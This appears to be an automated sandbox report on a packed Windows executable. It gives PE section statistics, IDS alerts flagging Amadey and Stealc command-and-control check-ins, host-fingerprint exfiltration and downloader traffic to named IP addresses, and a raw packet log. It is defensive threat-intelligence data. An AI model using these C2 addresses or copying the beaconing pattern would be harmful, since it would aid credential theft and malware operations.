IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	05391b6b19baa339754ca8cfeb90f53f	False	0.9977169192779292	data	7.973222006352061	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	869337be7878a6a6c307705fc774645a	False	0.5859375	data	4.502054071612292	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b2000	0x200	1647866403bfc95bbf10e0b456aa8dd8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mmzmokro	0x31d000	0x1a6000	0x1a5200	7ee82f3e5ce05fd139bb7e9aa5cb4006	False	0.9946206450356189	data	7.95328168107565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mnjwdapr	0x4c3000	0x1000	0x400	c8c8501aedb0dea5981c0f799f001bcc	False	0.7900390625	data	6.210740298860485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c4000	0x3000	0x2200	94975b663131dc5374a46312a4131d0a	False	0.06387867647058823	DOS executable (COM)	0.752649422372483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4c1f7c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-29T01:02:05.754246+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49709	185.215.113.43	80	TCP
2024-09-29T01:02:08.753974+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49712	185.215.113.103	80	TCP
2024-09-29T01:02:12.646063+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49711	TCP
2024-09-29T01:02:13.384318+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49713	185.215.113.43	80	TCP
2024-09-29T01:02:14.702969+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49715	185.215.113.37	80	TCP
2024-09-29T01:02:17.058260+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49716	185.215.113.43	80	TCP
2024-09-29T01:02:17.780118+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49717	185.215.113.103	80	TCP
2024-09-29T01:02:20.042346+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49718	185.215.113.37	80	TCP
2024-09-29T01:02:20.190270+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49719	185.215.113.43	80	TCP
2024-09-29T01:02:20.904975+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49720	185.215.113.103	80	TCP
2024-09-29T01:02:23.217666+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49721	185.215.113.43	80	TCP
2024-09-29T01:02:30.541368+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49732	185.215.113.37	80	TCP
2024-09-29T01:02:31.056375+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49735	185.215.113.43	80	TCP
2024-09-29T01:02:40.580580+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49760	185.215.113.37	80	TCP
2024-09-29T01:02:48.757301+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49795	185.215.113.37	80	TCP
2024-09-29T01:02:56.532430+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49804	185.215.113.37	80	TCP
2024-09-29T01:03:03.167220+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49808	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 01:01:06.870011091 CEST	49671	443	192.168.2.8	204.79.197.203
Sep 29, 2024 01:01:07.229377031 CEST	49677	80	192.168.2.8	192.229.211.108
Sep 29, 2024 01:01:07.276397943 CEST	49673	443	192.168.2.8	23.206.229.226
Sep 29, 2024 01:01:07.619997978 CEST	49672	443	192.168.2.8	23.206.229.226
Sep 29, 2024 01:01:15.204695940 CEST	49676	443	192.168.2.8	52.182.143.211
Sep 29, 2024 01:01:16.885623932 CEST	49673	443	192.168.2.8	23.206.229.226
Sep 29, 2024 01:01:17.229346991 CEST	49672	443	192.168.2.8	23.206.229.226
Sep 29, 2024 01:01:17.854768038 CEST	49677	80	192.168.2.8	192.229.211.108
Sep 29, 2024 01:01:18.962888956 CEST	443	49703	23.206.229.226	192.168.2.8
Sep 29, 2024 01:01:18.963036060 CEST	49703	443	192.168.2.8	23.206.229.226
Sep 29, 2024 01:01:27.248390913 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:27.248445034 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:27.248536110 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:27.250448942 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:27.250463009 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.028403997 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.028527021 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:28.031883955 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:28.031918049 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.032299995 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.073697090 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:28.650023937 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:28.695417881 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.906763077 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.906791925 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.906805038 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.906819105 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.906857014 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.906970978 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:28.907006025 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.907018900 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.907056093 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:28.907087088 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:28.907577038 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.907629967 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:28.907676935 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:29.550456047 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:29.550502062 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:01:29.550518990 CEST	49704	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:01:29.550525904 CEST	443	49704	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:05.029656887 CEST	49709	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:05.036078930 CEST	80	49709	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:05.036159039 CEST	49709	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:05.037415028 CEST	49709	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:05.043759108 CEST	80	49709	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:05.752552986 CEST	80	49709	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:05.754245996 CEST	49709	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:06.066510916 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:06.066560984 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:06.066637993 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:06.067014933 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:06.067032099 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:06.865036011 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:06.865128994 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:06.868458986 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:06.868472099 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:06.868704081 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:06.872303963 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:06.919435024 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.206238031 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.206268072 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.206302881 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.206348896 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:07.206377029 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.206391096 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:07.206414938 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:07.207417011 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.207456112 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.207498074 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:07.207505941 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.207518101 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.207525969 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:07.207577944 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:07.237674952 CEST	49710	443	192.168.2.8	20.114.59.183
Sep 29, 2024 01:02:07.237696886 CEST	443	49710	20.114.59.183	192.168.2.8
Sep 29, 2024 01:02:07.269227028 CEST	49709	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:07.269522905 CEST	49711	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:07.276839018 CEST	80	49709	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:07.276855946 CEST	80	49711	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:07.276896954 CEST	49709	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:07.276941061 CEST	49711	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:07.278503895 CEST	49711	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:07.286051989 CEST	80	49711	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:08.016921043 CEST	80	49711	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:08.017024994 CEST	49711	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:08.020576000 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.026344061 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.026428938 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.026673079 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.031769037 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753854990 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753871918 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753886938 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753909111 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753918886 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753930092 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753942013 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753952980 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753964901 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.753973961 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.753977060 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.754014969 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.754034996 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.758783102 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.758821964 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.758832932 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.758845091 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.758853912 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.758893013 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.886357069 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886373043 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886384964 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886490107 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.886529922 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886547089 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886559010 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886584997 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886586905 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.886598110 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.886599064 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.886626959 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.886636972 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.887254953 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.887274981 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.887291908 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.887304068 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.887315035 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.887319088 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.887329102 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.887336969 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.887355089 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.887366056 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.888220072 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.888233900 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.888247967 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.888273954 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.888287067 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.888293982 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.888338089 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.889071941 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.889085054 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.889090061 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.889096022 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.889153004 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:08.893277884 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.893343925 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:08.893480062 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.018948078 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.018991947 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019005060 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019016981 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019026041 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019028902 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019042969 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019056082 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019057035 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019088984 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019104004 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019232035 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019270897 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019283056 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019284964 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019310951 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019323111 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019535065 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019583941 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019597054 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019609928 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019623041 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.019637108 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.019682884 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020034075 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020045996 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020065069 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020080090 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020085096 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020097017 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020097017 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020106077 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020109892 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020123959 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020128012 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020136118 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020152092 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020176888 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020885944 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020899057 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020910978 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020921946 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020935059 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020935059 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020947933 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020948887 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.020968914 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020979881 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.020982981 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.021008015 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.021019936 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.021846056 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021857977 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021872044 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021883965 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021889925 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021899939 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021900892 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.021908998 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021915913 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.021971941 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022666931 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022708893 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022718906 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022722960 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022743940 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022748947 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022759914 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022769928 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022773981 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022782087 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022799015 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022800922 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022814035 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022814035 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.022840023 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.022855043 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.023591042 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.023641109 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.151660919 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151690006 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151707888 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151725054 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151736975 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151752949 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151763916 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151774883 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151778936 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.151787043 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151798010 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151810884 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151815891 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.151824951 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151843071 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151854992 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.151856899 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.151882887 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.151905060 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.152596951 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.152609110 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.152620077 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.152638912 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.152647972 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.152651072 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.152662992 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.152688026 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.152719975 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.153139114 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153172970 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153192043 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.153197050 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153218031 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153224945 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.153235912 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153245926 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.153254032 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153268099 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.153270006 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153287888 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153295994 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.153338909 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:09.153839111 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153855085 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153882027 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:09.153892994 CEST	49712	80	192.168.2.8	185.215.113.103
